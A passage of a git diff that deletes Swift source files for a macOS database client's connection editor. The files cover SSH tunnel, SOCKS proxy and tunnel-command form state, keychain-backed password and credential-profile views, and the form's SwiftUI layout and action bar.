-struct SOCKSProxyFormState { - var enabled: Bool = false - var host: String = "" - var port: String = "1080" - var username: String = "" - var password: String = "" - - func buildConfig() -> SOCKSProxyConfiguration { - SOCKSProxyConfiguration( - host: host.trimmingCharacters(in: .whitespacesAndNewlines), - port: Int(port.trimmingCharacters(in: .whitespacesAndNewlines)) ?? 1_080, - username: username.trimmingCharacters(in: .whitespacesAndNewlines) - ) - } - - func buildTunnelMode() -> SOCKSProxyMode { - enabled ? .inline(buildConfig()) : .disabled - } - - mutating func load(from connection: DatabaseConnection) { - switch connection.socksProxyMode { - case .disabled: - enabled = false - case .inline(let config): - enabled = true - host = config.host - port = String(config.port) - username = config.username - } - } -} diff --git a/apple/TablePro/Models/Connection/SSHTunnelFormState.swift b/apple/TablePro/Models/Connection/SSHTunnelFormState.swift deleted file mode 100644 index aad25c6c8f..0000000000 --- a/apple/TablePro/Models/Connection/SSHTunnelFormState.swift +++ /dev/null @@ -1,225 +0,0 @@ -// -// SSHTunnelFormState.swift -// TablePro -// - -import Foundation -import TableProSSHConfig -import TableProSSHTransport - -/// Encapsulates all SSH tunnel UI state for the connection form. -/// Replaces the 23 scattered @State variables in ConnectionFormView. -struct SSHTunnelFormState { - // Mode - var enabled: Bool = false - var profileId: UUID? - var profiles: [SSHProfile] = [] - - // Sheet presentation - var showingCreateProfile: Bool = false - var editingProfile: SSHProfile? - var showingSaveAsProfile: Bool = false - - // Inline config fields - var host: String = "" - var port: String = "" - var username: String = "" - var password: String = "" - var authMethod: SSHAuthMethod = .password - var privateKeyPath: String = "" - var agentSocketOption: SSHAgentSocketOption = .systemDefault - var customAgentSocketPath: String = "" - var keyPassphrase: String = "" - var configEntries: [SSHConfigEntry] = [] - var selectedConfigHost: String = "" - var jumpHosts: [SSHJumpHost] = [] - var totpMode: TOTPMode = .none - var totpSecret: String = "" - var totpAlgorithm: TOTPAlgorithm = .sha1 - var totpDigits: Int = 6 - var totpPeriod: Int = 30 - - /// What the keychain held for the inline namespace when the form opened, so an emptied field - /// can be told apart from a keychain that could not be read. - private(set) var storedPasswordState: ConnectionStorage.StoredSecretState = .absent - private(set) var storedKeyPassphraseState: ConnectionStorage.StoredSecretState = .absent - - // Remote database file - var remoteFilePath: String = "" - - /// New connections default to running on the server, which is what a user reaching for a remote - /// SQLite database wants; loading an existing connection overwrites this with its saved value, - /// and a connection saved before the live mode existed decodes as the read-only copy. - var remoteFileAccess: RemoteFileAccess = .onServer - - // MARK: - Computed Properties - - var selectedProfile: SSHProfile? { - guard let id = profileId else { return nil } - return profiles.first { $0.id == id } - } - - var resolvedAgentSocketPath: String { - agentSocketOption.resolvedPath(customPath: customAgentSocketPath) - } - - // MARK: - Build Methods - - func buildInlineConfig() -> SSHConfiguration { - SSHConfiguration( - enabled: enabled, - host: host, - port: Int(port), - username: username, - authMethod: authMethod, - privateKeyPath: privateKeyPath, - agentSocketPath: resolvedAgentSocketPath, - jumpHosts: jumpHosts, - totpMode: totpMode, - totpAlgorithm: totpAlgorithm, - totpDigits: totpDigits, - totpPeriod: totpPeriod, - remoteFilePath: remoteFilePath, - remoteFileAccess: remoteFileAccess - ) - } - - /// A profile describes a server, not a file, so the remote path is overlaid onto whichever - /// configuration is in play. Two connections through one bastion routinely name two different - /// databases, so the path cannot live on the profile. - func buildSSHConfig() -> SSHConfiguration { - guard let profileId, let profile = profiles.first(where: { $0.id == profileId }) else { - return buildInlineConfig() - } - var config = profile.toSSHConfiguration() - config.remoteFilePath = remoteFilePath - config.remoteFileAccess = remoteFileAccess - return config - } - - // MARK: - Load Methods - - mutating func load(from connection: DatabaseConnection) { - switch connection.sshTunnelMode { - case .disabled: - enabled = false - profileId = nil - case .inline(let config): - enabled = true - profileId = nil - populateFields(from: config) - remoteFilePath = config.remoteFilePath - remoteFileAccess = config.remoteFileAccess - case .profile(let id, let snapshot): - enabled = true - profileId = id - populateFields(from: snapshot) - remoteFilePath = connection.sshConfig.remoteFilePath - remoteFileAccess = connection.sshConfig.remoteFileAccess - } - } - - @MainActor - mutating func loadSecrets(connectionId: UUID, storage: ConnectionStorage) { - if case .profile(let profileId, _) = buildTunnelMode() { - // Profile-mode: load secrets from profile keychain namespace - password = SSHProfileStorage.shared.loadSSHPassword(for: profileId) ?? "" - keyPassphrase = SSHProfileStorage.shared.loadKeyPassphrase(for: profileId) ?? "" - totpSecret = SSHProfileStorage.shared.loadTOTPSecret(for: profileId) ?? "" - } else { - // Inline/disabled: load from connection keychain namespace - storedPasswordState = storage.sshPasswordState(for: connectionId) - storedKeyPassphraseState = storage.keyPassphraseState(for: connectionId) - password = storage.loadSSHPassword(for: connectionId) ?? "" - keyPassphrase = storage.loadKeyPassphrase(for: connectionId) ?? "" - totpSecret = storage.loadTOTPSecret(for: connectionId) ?? "" - } - } - - /// The user emptied an inline SSH secret that had a value. Without this the old secret stays in - /// the keychain and the next connect still authenticates with it. - var clearsStoredPassword: Bool { - password.isEmpty && storedPasswordState == .stored - } - - var clearsStoredKeyPassphrase: Bool { - keyPassphrase.isEmpty && storedKeyPassphraseState == .stored - } - - /// Build the SSHTunnelMode for saving to the connection. - func buildTunnelMode() -> SSHTunnelMode { - guard enabled else { return .disabled } - if let profileId, let profile = profiles.first(where: { $0.id == profileId }) { - var snapshot = profile.toSSHConfiguration() - snapshot.remoteFilePath = remoteFilePath - snapshot.remoteFileAccess = remoteFileAccess - return .profile(id: profileId, snapshot: snapshot) - } - return .inline(buildInlineConfig()) - } - - // MARK: - Mutation Methods - - mutating func disable() { - enabled = false - profileId = nil - host = "" - port = "" - username = "" - password = "" - authMethod = .password - privateKeyPath = "" - agentSocketOption = .systemDefault - customAgentSocketPath = "" - keyPassphrase = "" - selectedConfigHost = "" - jumpHosts = [] - totpMode = .none - totpSecret = "" - totpAlgorithm = .sha1 - totpDigits = 6 - totpPeriod = 30 - } - - mutating func switchToInline(fromProfile profile: SSHProfile) { - profileId = nil - host = profile.host - port = profile.port.map(String.init) ?? "" - username = profile.username - authMethod = profile.authMethod - privateKeyPath = profile.privateKeyPath - applyAgentSocketPath(profile.agentSocketPath) - jumpHosts = profile.jumpHosts - totpMode = profile.totpMode - totpAlgorithm = profile.totpAlgorithm - totpDigits = profile.totpDigits - totpPeriod = profile.totpPeriod - } - - mutating func populateFields(from config: SSHConfiguration) { - host = config.host - port = config.port.map(String.init) ?? "" - username = config.username - authMethod = config.authMethod - privateKeyPath = config.privateKeyPath - applyAgentSocketPath(config.agentSocketPath) - jumpHosts = config.jumpHosts - totpMode = config.totpMode - totpAlgorithm = config.totpAlgorithm - totpDigits = config.totpDigits - totpPeriod = config.totpPeriod - - selectedConfigHost = configEntries.first { $0.host == config.host }?.host ?? "" - } - - mutating func applyAgentSocketPath(_ socketPath: String) { - let option = SSHAgentSocketOption(socketPath: socketPath) - agentSocketOption = option - - if option == .custom { - customAgentSocketPath = socketPath.trimmingCharacters(in: .whitespacesAndNewlines) - } else { - customAgentSocketPath = "" - } - } -} diff --git a/apple/TablePro/Models/Connection/TunnelCommandFormState.swift b/apple/TablePro/Models/Connection/TunnelCommandFormState.swift deleted file mode 100644 index 31d4ee5950..0000000000 --- a/apple/TablePro/Models/Connection/TunnelCommandFormState.swift +++ /dev/null @@ -1,38 +0,0 @@ -// -// TunnelCommandFormState.swift -// TablePro -// - -import Foundation - -struct TunnelCommandFormState { - var enabled: Bool = false - var config = TunnelCommandConfiguration() - - func buildConfig() -> TunnelCommandConfiguration { - var trimmed = config - trimmed.command = config.command.trimmingCharacters(in: .whitespacesAndNewlines) - trimmed.executablePath = config.executablePath.trimmingCharacters(in: .whitespacesAndNewlines) - trimmed.kubernetesNamespace = config.kubernetesNamespace.trimmingCharacters(in: .whitespacesAndNewlines) - trimmed.kubernetesResource = config.kubernetesResource.trimmingCharacters(in: .whitespacesAndNewlines) - trimmed.kubernetesContext = config.kubernetesContext.trimmingCharacters(in: .whitespacesAndNewlines) - trimmed.awsTarget = config.awsTarget.trimmingCharacters(in: .whitespacesAndNewlines) - trimmed.awsProfile = config.awsProfile.trimmingCharacters(in: .whitespacesAndNewlines) - trimmed.awsRegion = config.awsRegion.trimmingCharacters(in: .whitespacesAndNewlines) - return trimmed - } - - func buildTunnelMode() -> TunnelCommandMode { - enabled ? .inline(buildConfig()) : .disabled - } - - mutating func load(from connection: DatabaseConnection) { - switch connection.tunnelCommandMode { - case .disabled: - enabled = false - case .inline(let stored): - enabled = true - config = stored - } - } -} diff --git a/apple/TablePro/Views/Connection/ConnectionColorPicker.swift b/apple/TablePro/Views/Connection/ConnectionColorPicker.swift deleted file mode 100644 index a169cc7934..0000000000 --- a/apple/TablePro/Views/Connection/ConnectionColorPicker.swift +++ /dev/null @@ -1,31 +0,0 @@ -// -// ConnectionColorPicker.swift -// TablePro -// - -import SwiftUI - -/// Color picker for the per-connection color selector. Includes "None". -struct ConnectionColorPicker: View { - @Binding var selectedColor: ConnectionColor - - var body: some View { - ColorPaletteView(selectedColor: $selectedColor, includesNone: true, size: .regular) - } -} - -#Preview { - struct PreviewWrapper: View { - @State private var color: ConnectionColor = .none - - var body: some View { - VStack(spacing: 20) { - ConnectionColorPicker(selectedColor: $color) - Text("Selected: \(color.rawValue)") - } - .padding() - } - } - - return PreviewWrapper() -} diff --git a/apple/TablePro/Views/Connection/PasswordPromptToggle.swift b/apple/TablePro/Views/Connection/PasswordPromptToggle.swift deleted file mode 100644 index 93ff7998eb..0000000000 --- a/apple/TablePro/Views/Connection/PasswordPromptToggle.swift +++ /dev/null @@ -1,84 +0,0 @@ -// -// PasswordPromptToggle.swift -// TablePro -// - -import SwiftUI -import TableProPluginKit - -/// How this connection supplies its password: stored in the Keychain, or asked for on every -/// connect. A password source set elsewhere (a credential profile, or an import that ran a command) -/// keeps its own read-only summary and the plain prompt toggle. -struct PasswordPromptToggle: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - private enum Mode: Hashable { - case keychain - case prompt - } - - private var auth: AuthPaneViewModel { coordinator.auth } - - private var isApiOnly: Bool { - PluginManager.shared.connectionMode(for: coordinator.network.type) == .apiOnly - } - - private var passwordTitle: String { - isApiOnly ? String(localized: "API Token") : String(localized: "Password") - } - - private var mode: Binding { - Binding( - get: { auth.promptForPassword ? .prompt : .keychain }, - set: { setPrompt($0 == .prompt) } - ) - } - - private var promptBinding: Binding { - Binding(get: { auth.promptForPassword }, set: { setPrompt($0) }) - } - - private func setPrompt(_ prompt: Bool) { - coordinator.auth.promptForPassword = prompt - guard prompt else { return } - coordinator.auth.password = "" - if coordinator.auth.additionalFieldValues["usePgpass"] == "true" { - coordinator.auth.additionalFieldValues["usePgpass"] = "" - } - } - - var body: some View { - if let source = auth.passwordSource { - if !auth.promptForPassword { - PasswordSourceSummary(title: passwordTitle, source: source) - PasswordSourceTestView( - source: source, - context: { coordinator.passwordSourceContext() }, - leaseOwner: { coordinator.connectionId }, - refusal: { - coordinator.storage.storeIsTrusted ? nil : PasswordSourceResolver.ResolutionError.storeNotTrusted - } - ) - } - Toggle( - isApiOnly - ? String(localized: "Prompt for API token") - : String(localized: "Prompt for password"), - isOn: promptBinding - ) - } else { - Picker(passwordTitle, selection: mode) { - Text(String(localized: "Store in Keychain")).tag(Mode.keychain) - Text(String(localized: "Ask Every Time")).tag(Mode.prompt) - } - .accessibilityIdentifier("connection-form-password-mode") - if !auth.promptForPassword { - RevealablePasswordField( - title: passwordTitle, - text: $coordinator.auth.password, - requiresAuthentication: auth.storedPasswordState != .absent - ) - } - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Components/ConnectionFormActionBar.swift b/apple/TablePro/Views/ConnectionForm/Components/ConnectionFormActionBar.swift deleted file mode 100644 index 3b360ffb03..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Components/ConnectionFormActionBar.swift +++ /dev/null @@ -1,137 +0,0 @@ -// -// ConnectionFormActionBar.swift -// TablePro -// - -import AppKit -import SwiftUI - -/// The window's commit actions, and the reason they are unavailable. -/// -/// macOS puts the buttons that commit an editor window at the bottom trailing edge rather than in -/// the titlebar, and it leaves the leading edge for the status the buttons depend on. That pairing -/// is the point here: a disabled Save is only actionable next to the field it is waiting for. -struct ConnectionFormActionBar: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - // Read once per body: each read walks plugin field metadata, and the body runs on every Name keystroke. - var body: some View { - let issues = coordinator.validationIssues - let canCommit = issues.isEmpty - - return HStack(spacing: 12) { - deleteButton - if issues.isEmpty { - testWarningMessage - } else { - validationMessage(issues) - } - Spacer(minLength: 12) - TestConnectionStatusButton(coordinator: coordinator) - Button(String(localized: "Cancel")) { - coordinator.cancel() - } - .keyboardShortcut(.cancelAction) - if coordinator.isNew { - Button(String(localized: "Save")) { - endEditing() - coordinator.save() - } - .disabled(!canCommit) - } - Button(defaultActionTitle) { - endEditing() - coordinator.commit() - } - .keyboardShortcut(.defaultAction) - .buttonStyle(.borderedProminent) - .disabled(!canCommit) - } - .padding(.horizontal, 20) - .padding(.vertical, 12) - } - - // A click does not end editing, so a tag still being typed in the token field is committed first. - private func endEditing() { - NSApp.keyWindow?.makeFirstResponder(nil) - } - - /// Restores the Delete the editor shipped through 0.38.0. - /// - /// It sat at `ToolbarItemPlacement.destructiveAction` until #995 rebuilt the form and dropped - /// the button while porting its body into `ConnectionFormCoordinator.deleteCurrent()`, which - /// has had no caller since. The window has no toolbar now, so it takes the bottom bar's leading - /// edge, which is where `SSHProfileEditorView` already puts the same action. - @ViewBuilder - private var deleteButton: some View { - if !coordinator.isNew { - Button(String(localized: "Delete"), role: .destructive) { - confirmDelete() - } - .accessibilityIdentifier("connection-form-delete") - } - } - - private func confirmDelete() { - Task { - let confirmed = await AlertHelper.confirmDestructive( - title: String(localized: "Delete Connection"), - message: String(localized: "Are you sure you want to delete this connection? This cannot be undone."), - confirmButton: String(localized: "Delete"), - window: NSApp.keyWindow - ) - if confirmed { - coordinator.deleteCurrent() - } - } - } - - private var defaultActionTitle: String { - coordinator.isNew - ? String(localized: "Save & Connect") - : String(localized: "Save") - } - - /// Names the tab as well as the issue whenever the issue is on a tab the user is not looking - /// at, so the message says where to go and not only what is wrong. - @ViewBuilder - private func validationMessage(_ issues: [String]) -> some View { - if let first = issues.first { - Label( - messageText(first), - systemImage: "exclamationmark.triangle.fill" - ) - .font(.callout) - .foregroundStyle(.secondary) - .lineLimit(1) - .truncationMode(.tail) - .help(issues.joined(separator: "\n")) - .accessibilityElement(children: .combine) - .accessibilityIdentifier("connection-form-validation") - } - } - - /// The warning the last test's login brought back, in the slot a validation issue would take. Test is off - /// while there is an issue, so the two never compete when the result arrives. - @ViewBuilder - private var testWarningMessage: some View { - if let warning = coordinator.testResult?.warning { - Label(warning, systemImage: "exclamationmark.triangle.fill") - .font(.callout) - .foregroundStyle(.secondary) - .lineLimit(1) - .truncationMode(.tail) - .textSelection(.enabled) - .help(warning) - .accessibilityElement(children: .combine) - .accessibilityIdentifier("connection-form-test-warning") - } - } - - private func messageText(_ issue: String) -> String { - guard let tab = coordinator.firstTabWithIssue, tab != coordinator.selectedTab else { - return issue - } - return String(format: String(localized: "%1$@: %2$@"), tab.title, issue) - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Components/CredentialProfilePicker.swift b/apple/TablePro/Views/ConnectionForm/Components/CredentialProfilePicker.swift deleted file mode 100644 index 69fa97b307..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Components/CredentialProfilePicker.swift +++ /dev/null @@ -1,93 +0,0 @@ -// -// CredentialProfilePicker.swift -// TablePro -// - -import SwiftUI - -/// Picks the credentials a connection signs in with: its own, or a named profile. -/// -/// The inline item comes first so the menu is never empty and always has a useful default, which is -/// what a pop-up button is for. Managing the profiles is a separate surface rather than another -/// sheet on this window, so the same list serves every connection. -struct CredentialProfilePicker: View { - @ObservedObject var auth: AuthPaneViewModel - - var body: some View { - Picker(String(localized: "Credentials"), selection: $auth.credentialMode) { - Text(String(localized: "Enter Below")).tag(CredentialMode.inline) - ForEach(auth.credentialProfiles) { profile in - Text(profile.name).tag(CredentialMode.profile(id: profile.id)) - } - /// A selection with no matching tag renders as no selection at all, so a connection - /// pointing at a profile this Mac does not have would read as if nothing were chosen. - if auth.credentialProfileIsMissing { - Text(String(localized: "Missing Profile")).tag(auth.credentialMode) - } - } - .accessibilityIdentifier("connection-form-credential-profile") - - if auth.credentialProfileIsMissing { - NoticeLabel(String(localized: "This connection uses a credential profile that isn't on this Mac.")) - .font(.caption) - Button(String(localized: "Enter Credentials Here")) { - auth.credentialMode = .inline - } - .controlSize(.small) - .accessibilityIdentifier("credential-profile-relink") - } else if let profile = auth.selectedCredentialProfile { - LabeledContent(String(localized: "Username"), value: displayUsername(profile)) - LabeledContent(String(localized: "Password"), value: profile.passwordMode.displayName) - if case .source(let source) = profile.passwordMode, let coordinator = auth.coordinator?.value { - PasswordSourceTestView( - source: source, - context: { coordinator.passwordSourceContext() }, - leaseOwner: { profile.id }, - refusal: { - CredentialProfileStorage.shared.storeIsTrusted - ? nil : PasswordSourceResolver.ResolutionError.profileStoreNotTrusted - } - ) - } - } - - HStack(spacing: 12) { - Button(String(localized: "Manage Profiles…")) { - WindowOpener.shared.openSettings(tab: .profiles) - } - .accessibilityIdentifier("manage-credential-profiles") - if !auth.usesCredentialProfile, auth.hasPromotableCredentials { - Button(String(localized: "Save These as a Profile…")) { - auth.isSavingCredentialsAsProfile = true - } - .accessibilityIdentifier("save-credentials-as-profile") - } - } - .controlSize(.small) - /// Managing profiles happens in a different window, and this form can save afterwards. - /// Without this, deleting the selected profile in Settings converts the connection to - /// inline and copies its password across, and then a Save here writes the dead profile id - /// back and deletes that copy. - .onReceive(NotificationCenter.default.publisher(for: .credentialProfilesDidChange)) { _ in - auth.reconcileCredentialProfiles() - } - .sheet(isPresented: $auth.isSavingCredentialsAsProfile) { - CredentialProfileEditorSheet( - existingProfile: auth.profileFromCurrentCredentials( - sourceStoreIsTrusted: auth.coordinator?.value?.storage.storeIsTrusted ?? false - ), - initialPassword: auth.password, - initialDatabaseType: auth.coordinator?.value?.network.type, - onSave: { saved in - auth.loadCredentialProfiles() - auth.credentialMode = .profile(id: saved.id) - } - ) - } - } - - private func displayUsername(_ profile: CredentialProfile) -> String { - let trimmed = profile.username.trimmingCharacters(in: .whitespaces) - return trimmed.isEmpty ? String(localized: "None") : trimmed - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Components/StartupCommandsEditor.swift b/apple/TablePro/Views/ConnectionForm/Components/StartupCommandsEditor.swift deleted file mode 100644 index b66c796051..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Components/StartupCommandsEditor.swift +++ /dev/null @@ -1,29 +0,0 @@ -// -// StartupCommandsEditor.swift -// TablePro -// - -import AppKit -import SwiftUI - -/// The multi-line text field the connection form uses for startup SQL, the pre-connect script and -/// the AI rules. -/// -/// `movesFocusOnTab` is what makes it a form field rather than a code editor: Tab leaves for the -/// next control instead of inserting a tab character, which is how macOS expects a text view -/// inside a form to behave. Startup Commands and Pre-Connect Script trapped Tab; AI Rules did not. -struct StartupCommandsEditor: View { - @Binding var text: String - /// `.code` for SQL and shell, which wear the editor's colors; prose stays `.plain`. - let style: TextValueEditor.Style - - var body: some View { - TextValueEditor( - text: $text, - font: .monospacedSystemFont(ofSize: NSFont.systemFontSize, weight: .regular), - borderType: .bezelBorder, - movesFocusOnTab: true, - style: style - ) - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Components/TestConnectionStatusButton.swift b/apple/TablePro/Views/ConnectionForm/Components/TestConnectionStatusButton.swift deleted file mode 100644 index fadbab8ee4..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Components/TestConnectionStatusButton.swift +++ /dev/null @@ -1,56 +0,0 @@ -// -// TestConnectionStatusButton.swift -// TablePro -// - -import SwiftUI - -struct TestConnectionStatusButton: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - var body: some View { - Button { - coordinator.test() - } label: { - HStack(spacing: 6) { - statusIcon - Text(coordinator.testSucceeded - ? String(localized: "Connected") - : String(localized: "Test Connection")) - } - } - .disabled(coordinator.isTesting || !coordinator.isFormValid) - .help(helpText) - .accessibilityLabel(helpText) - } - - private var helpText: String { - if coordinator.isTesting { - return String(localized: "Testing connection") - } - if coordinator.testResult?.warning != nil { - return String(localized: "Connected with a warning") - } - if coordinator.testSucceeded { - return String(localized: "Connection succeeded") - } - return String(localized: "Test the current connection settings") - } - - @ViewBuilder - private var statusIcon: some View { - if coordinator.isTesting { - ProgressView() - .controlSize(.small) - } else if coordinator.testResult?.warning != nil { - Image(systemName: "exclamationmark.triangle.fill") - .foregroundStyle(.yellow) - } else if coordinator.testSucceeded { - Image(systemName: "checkmark.circle.fill") - .foregroundStyle(.green) - } else { - Image(systemName: "antenna.radiowaves.left.and.right") - .foregroundStyle(.secondary) - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ConnectionFormContentView.swift b/apple/TablePro/Views/ConnectionForm/ConnectionFormContentView.swift deleted file mode 100644 index f948963c27..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ConnectionFormContentView.swift +++ /dev/null @@ -1,218 +0,0 @@ -// -// ConnectionFormContentView.swift -// TablePro -// - -import AppKit -import Combine -import SwiftUI - -/// The whole connection editor as one scrolling grouped `Form` over the commit bar. -/// -/// A connection is a single object, so it reads top to bottom rather than through a sidebar of -/// peer sections (HIG: a tab bar, or one grouped form, before a source list). The rarely-set -/// options sit behind one disclosure so a plain connection shows only identity, where it lives, -/// who signs in, how it travels, and how it looks. -struct ConnectionFormContentView: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - @FocusState private var nameFocused: Bool - @State private var showsNetwork = false - @State private var showsAppearance = false - @State private var showsAdvanced = false - - var body: some View { - Group { - if coordinator.isRecordMissing { - recordMissingView - } else { - editorBody - } - } - .sheet(isPresented: $coordinator.isChoosingType) { - DatabaseTypeChooserSheet( - initialType: coordinator.network.type, - onSelected: { coordinator.changeType(to: $0) }, - onCancel: { coordinator.isChoosingType = false } - ) - } - .sheet(item: $coordinator.pluginDiagnostic) { item in - PluginDiagnosticSheet(item: item) { - coordinator.pluginDiagnostic = nil - } - } - .pluginInstallPrompt(for: $coordinator.pluginInstallConnection, type: \.type) { _ in - coordinator.test() - } - .alert( - String(localized: "Save Failed"), - isPresented: Binding( - get: { coordinator.saveError != nil }, - set: { if !$0 { coordinator.saveError = nil } } - ), - presenting: coordinator.saveError - ) { _ in - Button(String(localized: "OK"), role: .cancel) { - coordinator.saveError = nil - } - } message: { error in - Text(error) - } - } - - private var editorBody: some View { - VStack(spacing: 0) { - Form { - GeneralPaneView(coordinator: coordinator, nameFocused: $nameFocused) - - if coordinator.showsNetworkFacet { - disclosure( - String(localized: "Network"), - identifier: "connection-form-network-disclosure", - summary: coordinator.networkSummary, - isExpanded: $showsNetwork - ) - if showsNetwork { - NetworkPaneView(coordinator: coordinator) - } - } - - disclosure( - String(localized: "Appearance"), - identifier: "connection-form-appearance-disclosure", - summary: nil, - isExpanded: $showsAppearance - ) - if showsAppearance { - AppearancePaneView(coordinator: coordinator) - } - - disclosure( - String(localized: "Advanced Options"), - identifier: "connection-form-advanced-disclosure", - summary: nil, - isExpanded: $showsAdvanced - ) - if showsAdvanced { - OptionsPaneView(coordinator: coordinator) - } - } - .formStyle(.grouped) - .defaultFocus($nameFocused, true) - .task(id: coordinator.auth.pgpassLookup) { - coordinator.auth.updatePgpassStatus() - } - // Open the sections the connection already uses, so editing an SSH, TLS or customized - // connection never hides what is being edited behind a disclosure. - .onAppear { - if coordinator.networkIsConfigured || coordinator.networkHasIssue { showsNetwork = true } - if coordinator.appearanceIsCustomized { showsAppearance = true } - if coordinator.optionsHasIssue { showsAdvanced = true } - } - // A validation error inside a collapsed section would disable Save with the offending - // control hidden; reveal the section so the fix is always reachable. - .onChange(of: coordinator.networkHasIssue) { hasIssue in - if hasIssue { showsNetwork = true } - } - .onChange(of: coordinator.optionsHasIssue) { hasIssue in - if hasIssue { showsAdvanced = true } - } - .frame(maxWidth: .infinity, maxHeight: .infinity) - - Divider() - ConnectionFormActionBar(coordinator: coordinator) - } - } - - private var recordMissingView: some View { - VStack(spacing: 12) { - Image(systemName: "externaldrive.badge.questionmark") - .font(.system(size: 36)) - .foregroundStyle(.secondary) - Text(String(localized: "Connection Not Found")) - .font(.headline) - Text(String(localized: "This connection was deleted on another device or window.")) - .font(.subheadline) - .foregroundStyle(.secondary) - .multilineTextAlignment(.center) - Button(String(localized: "Close")) { - coordinator.cancel() - } - .keyboardShortcut(.defaultAction) - } - .padding(40) - .frame(maxWidth: .infinity, maxHeight: .infinity) - } - - /// One collapsible section header. The revealed rows render as the next sibling sections, the - /// way a grouped `Form` stacks cards, so the body passes the pane after the matching `if`. - @ViewBuilder - private func disclosure( - _ title: String, - identifier: String, - summary: String?, - isExpanded: Binding - ) -> some View { - Section { - Button { - withMotion(.snappy(duration: 0.2)) { isExpanded.wrappedValue.toggle() } - } label: { - HStack(spacing: 8) { - Text(title) - Spacer() - if let summary, !isExpanded.wrappedValue { - Text(summary) - .foregroundStyle(.secondary) - .lineLimit(1) - } - Image(systemName: "chevron.right") - .foregroundStyle(.secondary) - .rotationEffect(.degrees(isExpanded.wrappedValue ? 90 : 0)) - } - .contentShape(Rectangle()) - } - .buttonStyle(.plain) - .accessibilityIdentifier(identifier) - .accessibilityLabel(title) - .accessibilityValue(isExpanded.wrappedValue - ? String(localized: "Expanded") - : String(localized: "Collapsed")) - } - } -} - -/// Hosts the form and keeps the window title on the connection's type, which `Change…` can alter. -/// -/// `NSWindow(contentViewController:)` binds the window title to this controller's own, so nothing -/// writes `window.title` directly. -@MainActor -final class ConnectionFormContentViewController: NSHostingController { - private let coordinator: ConnectionFormCoordinator - private var titleObservations: [AnyCancellable] = [] - - init(coordinator: ConnectionFormCoordinator) { - self.coordinator = coordinator - super.init(rootView: ConnectionFormContentView(coordinator: coordinator)) - trackTitle() - } - - @available(*, unavailable) - @MainActor dynamic required init?(coder: NSCoder) { - fatalError("init(coder:) has not been implemented") - } - - private func trackTitle() { - title = windowTitle - titleObservations = [ - coordinator.onMainActorChange { [weak self] in - guard let self else { return } - self.title = self.windowTitle - }, - ] - } - - private var windowTitle: String { - coordinator.isNew - ? String(format: String(localized: "New %@ Connection"), coordinator.network.type.rawValue) - : String(format: String(localized: "Edit %@ Connection"), coordinator.network.type.rawValue) - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator+Extensions.swift b/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator+Extensions.swift deleted file mode 100644 index 9557723310..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator+Extensions.swift +++ /dev/null @@ -1,31 +0,0 @@ -// -// ConnectionFormCoordinator+Extensions.swift -// TablePro -// - -import Foundation -import TableProPluginKit - -extension ConnectionFormCoordinator { - /// A list entry the person added or changed in this form was chosen on this Mac, so it is - /// approved with the save. Entries the connection already carried keep whatever approval they - /// had, which for an imported list is none. - func approveEditedExtensions(for connectionId: UUID) { - LoadableExtensionApprovalStore.shared.approve(advanced.editedExtensions, for: connectionId) - } - - /// Test Connection loads the extensions for real, so it clears the same approval a connect does. - /// The test runs under a throwaway id; approvals are recorded against the connection being edited - /// and lent to that id for the length of the test, and `cleanupTestSecrets` takes them back. - func authorizeExtensionsForTest(testConnectionId: UUID) async -> Bool { - let store = LoadableExtensionApprovalStore.shared - let ownerId = connectionId ?? testConnectionId - store.approve(advanced.editedExtensions, for: ownerId) - let owner = buildEdits().applied(to: DatabaseConnection(id: ownerId, name: "")) - guard await LoadableExtensionPrompt.confirmIfNeeded(for: owner, approvals: store) else { return false } - if ownerId != testConnectionId { - store.copyApprovals(from: ownerId, to: testConnectionId) - } - return true - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator+SafeMode.swift b/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator+SafeMode.swift deleted file mode 100644 index d88f931b4e..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator+SafeMode.swift +++ /dev/null @@ -1,38 +0,0 @@ -// -// ConnectionFormCoordinator+SafeMode.swift -// TablePro -// - -import Foundation -import TableProSSHConfig - -@MainActor -extension ConnectionFormCoordinator { - var safeModeFloor: SafeModeFloor? { - SafeModeFloor.resolve( - isEngineReadOnly: services.pluginManager.isEngineReadOnly(for: network.type), - opensRemoteDatabaseFile: transport == .remoteFile && ssh.state.remoteFileAccess == .readOnlyCopy, - managedMinimum: ManagedPolicyResolver.minimumSafeModeLevel(policy: ManagedPolicyReader.shared) - ) - } - - // Picking the level already shown keeps the saved choice, which comes back once the floor lifts. - var effectiveSafeModeLevel: SafeModeLevel { - get { safeModeFloor?.raising(customization.safeModeLevel) ?? customization.safeModeLevel } - set { - guard newValue != effectiveSafeModeLevel else { return } - customization.safeModeLevel = newValue - } - } - - var isManualCommitAvailable: Bool { ManualCommit.isAvailable(for: network.type) } - - // Off where the engine can't hold, since a stored Manual Commit runs as automatic there. - var effectiveManualCommit: Bool { - get { isManualCommitAvailable && customization.commitMode == .manual } - set { - guard isManualCommitAvailable else { return } - customization.commitMode = newValue ? .manual : .automatic - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator+Transport.swift b/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator+Transport.swift deleted file mode 100644 index 00e121a732..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator+Transport.swift +++ /dev/null @@ -1,166 +0,0 @@ -// -// ConnectionFormCoordinator+Transport.swift -// TablePro -// - -import Foundation -import TableProPluginKit - -/// The form's transport selection, in the same vocabulary the connect path reads. -/// -/// 